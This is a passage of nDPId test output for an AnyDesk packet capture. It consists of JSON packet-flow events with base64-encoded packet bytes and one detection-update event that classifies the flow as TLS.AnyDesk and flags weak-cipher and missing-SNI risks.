iGju5DH3R1IzXFgMDAQgPAAEEBgEBAKJ1YjYtST15odzCEDfCmJThrwiNPIw7nith\/lKQBX0UeBtDcqCkoabtcjcTAM\/nktgo7lR8mg6WGh8yUR1jn6HMKh9wrcDxur+n0olwiIIAlF2SitqffUJ2Novw5iDG+eu27+IKY2BWxnqkhIq6tDdA6D\/Mo62TbFzYtc52yJSVXW70jTIyKoNHEsRBv+5A6TXkiXd7zjPBPvtiAitiCWyDfO9KjStAlkGCHrezoqs25iWAJiY9WNxLk8vLSCm\/kdWMAUW68+PYuCJrx298j7Et89JVhxDpqbUZnlOnhLNpaA5cVhkqAFr9+DTWOeICcY+Woka2369WVzgjKgZtlcYUAwMAAQEWAwMAKFniE076axSZ\/WgNd0lBZ0vXxrTb7Pcged+vpjq+VkIZR\/qdnoCgiPw="} +00419{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":432030,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"2MuK4S0uKDc3AG3ICABFAAAoAABAAEAGthLAqAGywKgBuxue05RZw\/najxiBRFAQH9e4EQAAAAAAAAAA"} +01653{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":440779,"pkt_caplen":968,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":968,"pkt_l4_len":934,"pkt":"2MuK4S0uKDc3AG3ICABFAAO6AABAAEAGsoDAqAGywKgBuxue05RZw\/najxiBRFAYIACNSwAAFgMDA1oEAANWAAAcIANQc93rHDa7Yn\/vpGRVRnhvqSjWGWzp6Or\/X5BwKz9BSYKrm\/ARXk3L0fDCc7MMGgIGaxXmx3fu83\/fGJHp3K1gYF4MO8nuO9gHaenVjCtCJwpHjBsdxIPaJ8lqqNMhSiYiPr6GCMCvRgiSn4dAB+FmPDrBIazl1JCDWxWyJsFCJzQXGoLKxOZdf\/CHUD48qVlxCOZWUEw6dcHXn0uMXx0ZH+o3m9iA0y+tanJNMPT9j8hl8M5wnU1LapGDOPAJeqMbEVhYKBX6Ec8SF3QYJsXEdAMZsyCuA189E9JUGjuTMhpnYraUjOqG0T7WArRcMY66XU99hkUMild8VpnW8XAPgMqKaz86l4tSB5lMHg80KqtMxQ+UDO2nmLGm\/5cVWZCD1xHxWWMFs\/5Gm8LUPD5dVM8ec2vzFxrHMzL31QcLupSrS87jBTGgajGU02N0Uvm9Hk2VwXpYAXJQYdMnDK8uSC00uadYSnufU9mPosVQNIGniaE66R8dJpyOY3wKNp6L122wp3U7sqXuh\/gPf4EcTkZoTFD7CMSswBlH5RxkBHsb+Qf0vA\/E9yrNFWEz7oKs1\/drxR7y3KZ9CAEiWd\/AN53Ho1UTXZtZdlzixPDR3rAUlcc7BlgedZFGOQ+tASjX0vS4NweZ9sO1RKW2HGg9QTXYhI44KsiJ7kn56uV9rgYx2ZjFw3nv99yTZ7J6G844PiPQ+maNlcI+bd4rpJDv7LGdS0XnMLZHcoyBMkGfe2M8VfnCq9+eXNKEhrHrnCRWTGQaMEKBn7SMyR4TJD\/y9\/5D6XoQWyL8AktmenCijetEFvvgqXQ0GV875WNn5P6zWDpHlNLCGv+qXvx6UcheOjqFdlSkhnFbSp94u35svgOn9YNSf8VKnsmr\/7J1WqSmqEbxF1qIa7d4ZOSmKvplfTPKXeRyGO92yM\/F6YQsqars3GDmYJj0Yw\/z3Wsg\/9k9AngRCT4udBWwXlckxpUdUfGFBs5Ljd0dOf5H2wx6nLQ3TeqWij73Wqf7pxqTqjqRhVTiLSSSjYOBXAmdYnyW1CW6kMy\/ECGAbX+NQtMVUYaNbnBlkYM51TKHkxX2zdxQaVkPpExEPjujGAejMsXhAE9bVDXTP\/bZGlxJKkF5eXAUAwMAAQEWAwMAKG1RYmNOSSRuC9jylMY1BrjYSWTZ7Sl21N3DRGHGPjjUMvJPYE3t7Fo="} +00467{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":440779,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"2MuK4S0uKDc3AG3ICABFAABQAABAAEAGterAqAGywKgBuxue05RZw\/1sjxiBRFAYIAC72wAAFwMDACNtUWJjTkkkbwgvUzOsVjay7CTo1FEo9wzGCvzsMtjfryEzsw=="} +00411{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":440808,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"KDc3AG3I2MuK4S0uCABFAAAodD5AAIAGAADAqAG7wKgBstOUG56PGIFEWcP9lFAQA\/6E2AAA"} +00410{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":463648,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"KDc3AG3I2MuK4S0uCABFAAAodEFAAIAGAADAqAG7wKgBshuey0dV\/SLLLSwO5FAQIBSE2AAA"} +01512{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":549041,"pkt_caplen":867,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":867,"pkt_l4_len":833,"pkt":"KDc3AG3I2MuK4S0uCABFAANVdEpAAIAGAADAqAG7wKgBshuey0dV\/SLLLSwO5FAYIBSIBQAAFgMDADoCAAA2AwOohSNK\/kyh2J0OL2EIWx++95ipjSPTUL8cYeQroRk5OgAAnQAADv8BAAEAACMAAAAPAAEBFgMDArYLAAKyAAKvAAKsMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBDbGllbnQwIBcNMjAwNjEyMTQzNTEzWhgPMjA3MDA1MzExNDM1MTNaMBkxFzAVBgNVBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwap8kuXKAODl3oBaBKgWpoG5V\/9k9Re\/y85alMHsrZO3DL2CsBH2LGo\/FAOWUEOhQajl2GfY6wvsOvdSBeIfebFRqTI\/eyvzGX88OAXyXB8eUxPLEyIYR\/n+yQjHspQmrvuu8efb\/qsnD0wEfaZg0F+IVSnsvk7ydwKvfAM7cULUHZ0Rdjm5nVmmFqdnN4HPmAarEGGUZoYdf5diMMeygE8vYMiNC3GogaczMOURejt8nDKg3hDaVyqophSfYaYV3ITgE+Nh\/dVHh+EMMnYnecAfZjVQbrebwLeJyU4mm2l4eOcUa7XakXYely\/GV1aaQqmZEls1jwTB+rGy7S9NXQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAdS4QpIobUZqbbLjL4QoyB5qi3ZvARFTdDn\/9FwwTPSuHsKNhHmppWBwxEbx6h4A00T+QPgF+JpAon\/Xn567r0wRs+2Gx6\/cI8NKbS96Mi6NWr8UFxoeDYSx\/xaQiSAMRL05Q\/xUfL2hQSR7JGfXmwzGC2aMQ\/a06M6fbVNUSaZs9xsR+k3GRt9+n93NgXIOzAVQdbBETAx4gx2dNQDdg1wrP5pCoFNb8BplELzJqgvsS9+YJ26fnoOlRyktG8e1qKVEKb3BIRJYRTafgG9eC8SfhPYnYtFnIBtjzsJ3TB1zZdJVFNoxUozWRc3Qr7Gsi8TrD2m7DcORG5iDMlw1P6FgMDAC4NAAAmAwECQAAeBgEGAgYDBQEFAgUDBAEEAgQDAwEDAgMDAgECAgIDAAAOAAAA"} +00984{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":24,"source":"anydesk-2.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":6,"flow_first_seen":1613977595407,"flow_last_seen":1613977595549,"flow_tot_l4_data_len":1232,"flow_min_l4_data_len":20,"flow_max_l4_data_len":833,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.178","dst_ip":"192.168.1.187","src_port":52039,"dst_port":7070,"l4_proto":"tcp","ndpi": {"flow_risk": {"8":"Weak TLS cipher","15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS.AnyDesk","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"201999283915cc31cee6b15472ef3332","ja3s":"4b505adfb4a921c5a3a39d293b0811e1","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"CN=AnyDesk Client, CN=AnyDesk Client","fingerprint":"86:4F:2A:9F:24:71:FD:0D:6A:35:56:AC:D8:7B:3A:19:E8:03:CA:2E"}} +00417{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":549471,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"2MuK4S0uKDc3AG3ICABFAAAoAABAAEAGthLAqAGywKgBu8tHG54tLA7kVf0l+FAQH+ZsRQAAAAAAAAAA"} +02147{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":552668,"pkt_caplen":1340,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1340,"pkt_l4_len":1306,"pkt":"2MuK4S0uKDc3AG3ICABFAAUuAABAAEAGsQzAqAGywKgBu8tHG54tLA7kVf0l+FAYIADZzgAAFgMDArYLAAKyAAKvAAKsMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBDbGllbnQwIBcNMTgwODAzMTIzMzM0WhgPMjA2ODA3MjExMjMzMzRaMBkxFzAVBgNVBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArIaK0rq9eTlZvBcmZhh1H9c4WyavqU3KnPQjWKum4+D57QTq6vpp8Zc0mmlfSbdIckUvHjBDiS9uimzm4D4EcxdTgnlDkoD1BP4ueHjekNtFNgh04fFTTZyZVscL3oNitoLTkU4\/rpKLpwwbDC6h6+ytxWCa3+odO5IlRwhTW3afIESGML7\/I+EoPTOb1g2I21eLTPpw2Ey9Z+0sPtRAJpLulMSEj\/fpKcyvnqkLfpJH2HV0mGEFXtbfyn7y0dpUDxjRBb\/s55m+OHTMJOEXrDdEWfunUhL9cgvTyWnWwLxNdVWJEs4A6cGJ5pCETQrNRCkiOFuKXnFF3IE1SaR9ywIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQCZ2PTeYQVpoK\/4FnIIlkh5oTJ+rM1qSGu6uZXaiGbYqvrjRGF0z4YSE+Dsi+oHIKKlFN7lTj2IonetId1bxX3mfUFFc6ADQqoEk3h87NEgrJdaCpIi\/Qm8jePsjyFN4Z+A+EycFrOMbq7rMs5rnAAGSEPy4hsFHG8OneF3O4rBgCM70YOduX2cQCQfAhJZVgos3r9uWUBhLqRgkyYpnx0cwgUl7PH8aRB0W1BDBtTpU0GDswuvU7QANMJA\/U5nmSE1oycJ+boqTuHQVa1pQq1EwvgFfgQnaJOLe+QLml0VFaxHmDnQrVnmRBIvH2hciN5dZgq7zNCC8xLxFzBrxXW0FgMDAQYQAAECAQAiMOEYPS0Cq462+H9EtZcRg6RCo7GZHM\/txxOmn3CBPprsVwMPX+sGOLyndBqTV+vs+BqX0GYa+0R1hBy5LL0mtR1GuyxvyG67tUjzeF1nDKdfOvvEbMY1XBybPlztHRx5gw02b6+1m5Ywp7jVuK6qgCBOYAwhj6Aw2oYxULuU52CaSGQ6r3IiO3llfb8KlKvmt7y4UnG0aYyLAiiCjRbSGzfujupjjwNBYqoohOLhyWlpYWH12Xs5XaaiNDaddw6G7hYOsKyYn04XYiVFrfwbfHKUi965IOBjIEuvNuC7QG3B7JODw+wZNuMlgyynmXoESd8Lcsu0HgnOWM\/bTOVLFgMDAQgPAAEEBgEBAD+zwUbVwwjZeLFm3oHYXdOcfNJjH9Ym1dD96flP\/a94QLPL6arVuiuOb9rnmLB5rjSOB2PiXl9adrcgbV2lofqASE9ejadluab9VCmJjj+\/NZcdS1yQNstSu85P1Zc+BRNCz\/e0TwP\/E9W0JUAcjNSsp0vheEurgoM+cf6k4XuvwKaqKAtj6xcEpv1+JGO0PyejMfnYd9zOqIzT8M8wd6CClH4Sl4pTgj1Zefjue6Ck9FGIzefc0xX36L2O9wQL\/Pnm0O97IVDEmyx\/rNQoM+O9hVnVKPaYEk9FmlCNOHSKp95hllg7J2okT9Dgxqq4i8ydW+e7qnqXXBjvquezfrAUAwMAAQEWAwMAKIDoC+4aRr1dXYV0XRzAPO+S9Bd0SzHtHqjwd\/UeZOfah4i0a4E+CA0="} +00410{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":604291,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"KDc3AG3I2MuK4S0uCABFAAAodE5AAIAGAADAqAG7wKgBshuey0dV\/SX4LSwT6lAQIA+E2AAA"} +00477{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":957681,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"KDc3AG3I2MuK4S0uCABFAABXdF9AAIAGAADAqAG7wKgBstOUG56PGIFEWcP9lFAYA\/6FBwAAFwMDACpZ4hNO+msUmpOhrAawvKby3WZqams0J+fdiIYM7GubxcUA3eSN6dz+JXQ="} +00418{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":959107,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"2MuK4S0uKDc3AG3ICABFAAAoAABAAEAGthLAqAGywKgBu8tHG54tLBPqVf0l+FARIABnJAAAAAAAAAAA"} +00411{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":959119,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"KDc3AG3I2MuK4S0uCABFAAAodGBAAIAGAADAqAG7wKgBshuey0dV\/SX4LSwT61AQIA+E2AAA"} +01655{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":963286,"pkt_caplen":968,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":968,"pkt_l4_len":934,"pkt":"KDc3AG3I2MuK4S0uCABFAAO6dGFAAIAGAADAqAG7wKgBshuey0dV\/SX4LSwT61AYIA+IagAAFgMDA1oEAANWAAAcIANQI0Y2W7z7X1b6IYP8T0dyid5sIrdcEIv+vaj\/Bu1K9765x\/XhuFZLK7qHWKIqyCj30UV3PaTK1SdsXghmtoMsUIWWFcXxA5hNI51wQdlM9tNE8QM6ZKtwb1UFC4P\/VVbMk7cE33FflRNkOMxexHicKInWSZH0wNg0qu53kM5V+thNpjqRJxBFT9W8Ee4Ei5jYKFLSKQOXSOd07NsQoRDx81Ct61LtNWmE6lYFKU0ipEP7Pm2ozRp4VSaKPQ6SUT+wLy\/Az6k\/NGN\/\/AcchX0FxjUErRxyj6EnyD\/3k86J\/\/URAtNDyCLqEb+CldLlyIchLNnVpdcZ3lp8sNvS4veDLp4nkTxB\/2J6XZWbbbjZOAGZKxYSSgp3ncnoZAQeIcSr9imH\/nlcHDzWyiOXk89vWEqBJSO2MrrFGP4o4ZfIWDiYie+V7TbxoVBmlWTJm89+pHCmBwE9hWCgik5KymqXYmUwVcyBN5NplKCQXQ4yKlBi3Caoi1z+hYK8pHaBdyugLGNdsK4YA\/EKSkRRkQCfn9nN4OesXtD9\/rpdv7U7QYPJbwfD6aEwQzIbB\/OaHyH4CFCB9F0F1NA4YJphBM8mCkmL0yKjlK3ZyalQtY2X4n06LDoysfyHEZCdKbbqXohLRLHyft6Z+x7RRumQyD83dB8sZ+RrLYxYIpUkzRoCdWUpX9OzSRMsBTeS3TO2kVp3oVe+Z\/SOX2zwQvgpvOny7tslF54yUw4GfsJbcLR6gfiGkWVTQhJhoRIimuKhYtReziIwGttbGwjxgCufJ1ybm4n3FU6Iav3teyOeap6llq9yjAJZ6BYsOK\/+ybGVZcgswEZME+L3nrN48CzV8EHiYkEHXlSGOYyCTZAlruklidwloR1YCZJyWaVlkXIW9nNknAFvDKWHqxgfMcPkmBvRh+HxJe3vL7PAIDo0PCigdZUJ2o4\/LafWpu2p861QZ0tG430+189O+IruzhXLg+uvHk0DuUO2cUV6CnzFi83sWvEDVt7t1ypcYCmF8qZpU\/CSJpCeXf+Zt4iVkJhjV8E3alcQKHNK95cNC1TKoBnzHFZB4mf1MPnbO1vgUV4ttRzqk5akforBRIta3XoBgyUXL1vG+9O4ziC8qyJlPSInhbwUAwMAAQEWAwMAKBkDUTo\/0y6MfXt64gJxk3OlBrTLhTXctEXgfRF4E+SYoZVvfN\/SrBc="} +00467{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":963376,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"KDc3AG3I2MuK4S0uCABFAABQdGJAAIAGAADAqAG7wKgBshuey0dV\/SmKLSwT61AYIA+FAAAAFwMDACMZA1E6P9MujczgjFBstbVssFgPLlwAzngit5dVLk+F1L+vFQ=="} +00418{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":964011,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"2MuK4S0uKDc3AG3ICABFAAAoAABAAEAGthLAqAGywKgBu8tHG54tLBPrAAAAAFAEAAADJgAAAAAAAAAA"} +00418{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977595,"pkt_ts_usec":964011,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"2MuK4S0uKDc3AG3ICABFAAAoAABAAEAGthLAqAGywKgBu8tHG54tLBPrAAAAAFAEAAADJgAAAAAAAAAA"} +05683{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":41,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977596,"pkt_ts_usec":944701,"pkt_caplen":3980,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3980,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdINAAIAGAADAqAG7wKgBstOUG56PGIGVWcP92VAYA\/6ExAAAFwMDD1FZ4hNO+msUnGzaUU1nlPykrkKoqd5IWa\/vA7eRR3EZWBPkhLgUG\/LhKYhOBCw1WETNsRkQ\/Njqm5X16glM7tI+xcqXk3+pstweoYW+cn9Gn62XhRf8R73HpNP8O90ZrBr9CegI\/VdfYrSOHPhA2e99E+0j4+VZ\/OWFINBvKkj3BJnfIY06LJr7sGJtR+dAQOwICx8D4\/W7388S52uXl0lL2KX7WyKVvleG6T8fiXMQLVolTazIJs4yZw9hrrazGCRC9Iqdm+H0azjBk4m3YV2OMKP54OCS8dUcnak2O8dvImZ5iKslxqv2hokAbqvJMaM8mhVBXwGF52ctr4Cwnw77hzC+mSW4bmrp4Tcg5MPiRw1mTQ\/3NPawA+Zq2rxYSvhk\/u9pX+e10AKM2NMlc+XUfDUnwHzrihybSEsYE0XQlkwxxyc+9H9J8YsAbL+BW7EjTLB1jeSl5z2MVP12e9NNW6MZhJjwB+sOhJ+fNX0c\/v9peT6wkv\/tfGsRdmFlHVNXdzWn0O8KPkjxVcY8HmLnhgEm6RUAJURSAsF3ExMd\/sG+P\/mU688tcA+RgLosPwl9z5uDAuz9NZCd12HIAtb95ZBP9rAEaxi82tNAqOYj68rFfzNf\/RpYJfDStItU9FV3A8kHsKEGkFmk4wZ1tfIEOtfaaKe85y9pH6KiteXJy5jBBJnmRZTq3hdyxERiq+Tgi+PIu\/MNnYR6l1Pqrms9rI\/EVyNKDYzOeDBTR2B4i8xQUojiYfz8udZp2jaWACNjoGW1qrXBfIZoN6McfX9bXlxaVklg8xVW2G4CKsbb8dOBkttzzZK1dsazFK18wuUY3+V6Ukg1i3Y7Vlu6oV8qYQjVWhwNKWHFFQz6TJ1f7KJB90kDzgVnWYYn3TfOxejwLeG+nRzfrXzulo72CElL6Z\/lG\/4p+l+2wUPmPUXnPCfsAazCunsNe\/KXGVNe16AsL3LO1LT6UMDW\/nYelajX1pVTfya\/e\/g3PTYERCzcbFUt4y7zrmFbTnT4lxvHFvxanm260ljGYOP06b\/vWg+4pWLrQNkWA9MTICzlcpF\/Wmidlj0qfi29KJjQ8FUqg5l5XTfqACYhtKC63DrEESjMa46mYX5whiXYX2KSGQGVD+QvD+zhP\/CtBWeSzuMorWP+vcKHB6d86IQSfd6cz8qTUxY8QCZj3ANEPGpf51oIB2bip2d1OUvGIxbkaKup8u4V60aDmH2PiICJH7ivyV6sSvDty0QVNDKnid2wk8iOXEnChUfGO5mpd+vrzlTK6CD4G4+lV\/by4D3sFE2TznnhMG2zFDfGeHQM6Wj8gm8KTfbN+XyFgT4o3Ixk+93DyzX5mHvlurk+pBQBuQ9ppDbIH7HFD7iUZuoLbfUqyOgSKk30XQutoXEK7RJmcYeYBWd1LzTpXP+N5O5yfEDTBHxskC82ltKt9sAuTc1sKTSCwKaKWO1X\/efVdDVsf6PBKNtWizrLEymaYbySEtGfJmMlB6uqJtfUm27qL5ujDZ9mIHM3LMDyrXtK4KlpdB5iI\/euSzqF5fQqGYeXiGJN0S41Eb1GzBVvFl0s3aeJb4QFn0CJSOTsL6GyRbOkT1a0vLdMrPBz9u6BivhEd+ZLHaRV3+iJKbIcXbXR9lrCbTCrjSVY49HI76N6tDFWvse7Dr0bXXYFqqkOjweEf0JSWOknOhym3HAWiuHVX+ROnUrPCbEeLIpp8zL9GGOTk8Q2mr5Spw6l4rc37QDj2M6jtgkezE2X86cK+oDpDDOIVj+F1pGcC4UnUPTK3scoEmHGH7LkKEd5RDRudiwg7tbKcGUP4BwRqmS2Gi9LKpIBXdtqiZPGwomBbzdlo+z0RHOWr\/up4gl1dmUxQF+tDc4oHMCMi1e8zspb+grjhj6EezTHv3ji+8yN7mdzS+Gkbpt7QlBarSoY5L48wl08+ZBvrukp07VUSwQcfAn9S8NB43w8+z45JDDrveYZ28KVDUxo6GQB3B0xG4JCzoWvRhSPRa7ni7nu9Gszwc7tPJ9xiDAaAq2gfthjMseLUOdGDz0BISGCxKHZieN864AhI1py+AEI+Htmrh10CW05qpzZwVzz2VFECGzsx3x0C\/nqnxrOECzUm0dPJrMExdTxFcgoqXF011yHCSzXtxwC98icS2pusV+yTjVIhj8CfW1d+8fVhOArSXi3lMMFjUTzDLcJtssGLQ0cjVYbimvwLxyXqTRGVzWkuGVPh50FIqPQeJG1RhCeW0kbFVm7W9b9H9S7klEciP16ZhaTmVvfTTgYqrR2ZJmHH2I61Ib8cJwB7qC65zRSXnWLdZs\/TuFj\/TxT6UrRcMpV1vvOYjns3Gz\/dowyWU9MdFg1sBuoUzdYhOH+xh0gjiOiFR+OmO9yK3di5u27XLW1hOtpPgG+VqRkjURJs2X7eYc\/nVFim9OR2M271rHHTTGmofiA2qRYewVfivK4+jJV2algoPfe78BQVj0lYL8HSL2ZIOVwb7WccV+mHgXVjcaDr8VeGILburQoLgZ3L3Rh6dBmFRFNDAM2F5UvL6rcbC48HPxdFN16gQFsf4yKqOfuTQa4qvxxMeVacwMBH8TyGwIqHd+Tu1k9SeZW9JzAKZNOepT64wLCYsAHDNfrvua7\/DM3Er3\/3ogYsTLe+cEnrJEF0jzT\/pW3BeJvaGd27aJYiI4XXscQqB8hOAXO5tAOPRO2w7cv7WHSnJd8ikF\/boKhx3DSbhEgqQliEpDTKXvGDhrGJ1aXzM83ENzYdrp3w\/qh\/Nf3lFU96DuSvh49grWDQkMeDDWWwXeT35tZD\/9i4Y5fFpZIV6SuRwn5p+R9aNHdnQ\/kTb4S4uHdPEUKPQjKs\/yJMUGcPxicPpB\/EisjPsJJbm7W1mTHU7MIIM\/vWf97H\/qvxLJ4+6dpF7eBxBYIXZp4vqqyNXSe8fXlScBOjZ7KGFq3h5Lsv1iilvMraMq1ISyI1SMlYMJGCypO+r7ZEXKXhAC9eCXv97ngQmCSfOC8yQy0BHfYcR\/GagdbDhHp52TBPv540aa8roHZiDYWEAvRy60ik6jCvbpXWcGapjEPyt9GESjgevqZXh4ByQjZeQa5WOr7Cz5wUS6XJhwdm1wGwlzD8KaiSP5C7Dw5lq8A3RtUTSDSCTiMVWNgdjSc74MQ1jk1g8XF1QA5oCCJKcd6baWRIcuCXGejHzwU++HX+sLNBXpzgm6BOkdcw1rBrXndG\/g9wtAODPp1NIebGIUBA8bwWYJXy3f1MwWV73BLyP6xUng2u8pwIPJ\/w72lzBfeximEN581Pmbzit7uC+88wlAlAmE13UPXh2L6jM7HCsWpxaF79JpkSrnInn8vub5LDlOlRQ7oild8fQrhrbGarKIIrNCdhLZ5aouS96b\/KyopW16Xv2Rc9xFrgSg4ci2RYHCemJZwYuTROMsSoM5X52hZZrrjU0vBuzfjvVO+GgDyIKa39Yoeu51MP+qfWqjdDBZ1wgSVjTNfz3TIE4A4KMb6Cl63\/6TRFZUpnIyceUMCe2IP0kvk+YgXulkcSi0emPStQ4WpWgV8klz3n5cpS0yt5Idvkv4l6FdXHq3kxH\/XTM0niEe1M+4lFJRaB7IvrjklA67KYKUY8KCZs1yVLV3iBzYHV5q5GSPmymAagTbSS0ArTqr6BOKPdX1u6z4BG07x613PW2TE0ODR3DvxyFC+10nNZR4enZpsOrMGbqDyW9yidkPDpiZBhlp7NXIKAxPzV878YoFs420WX+nCtL2rHv69VOeWflwR0tlbrBYDRasBj4Ozy\/MWHHB47HxGgEI6rEo7Bj5A2l4qkAQCBvGYxXrIir5l6wMCH5LO77vM3yVRBZzAmxfDBn1PMfrss3MsnCyKM82azzo1KByvjM7tt+seSzjL4zKeYnBAxt+gpQU9gpBmPO+jlfaa9EfPfXktD24k\/Au+q4dpgZ1kpHdHuNvbEoLWf4GbGEXFcLbRQ85jia+McSrUdVt+gCMMtB4Z9SCaHAATa2UM61MTkweYPjRngskZ+R0ZbPdiORtd\/SbSRFFhpzIJQz\/AsvpOkr6s5utvDByWbKYa8AqQ5Aykc6oJPNVOD8KWUse+gAsIa9vlmRZ2iuMVUUTUHOCazB5EZoseBAlmJ6oc\/B7nctTpL8LmbkTXwj68y1leVMVm9D7vjM0tFwFKja+2ONbRpfRIA0sktOr3ZvqxUJGcKVycsKY4vIDIm5kACo\/TDsPHtL7PoN4CClvCb8kjCdjOHPLu5cD8\/KrvTkAZQtVA9VWz5+hm6Mn+hLgQ7KSw+5NALvBMuWC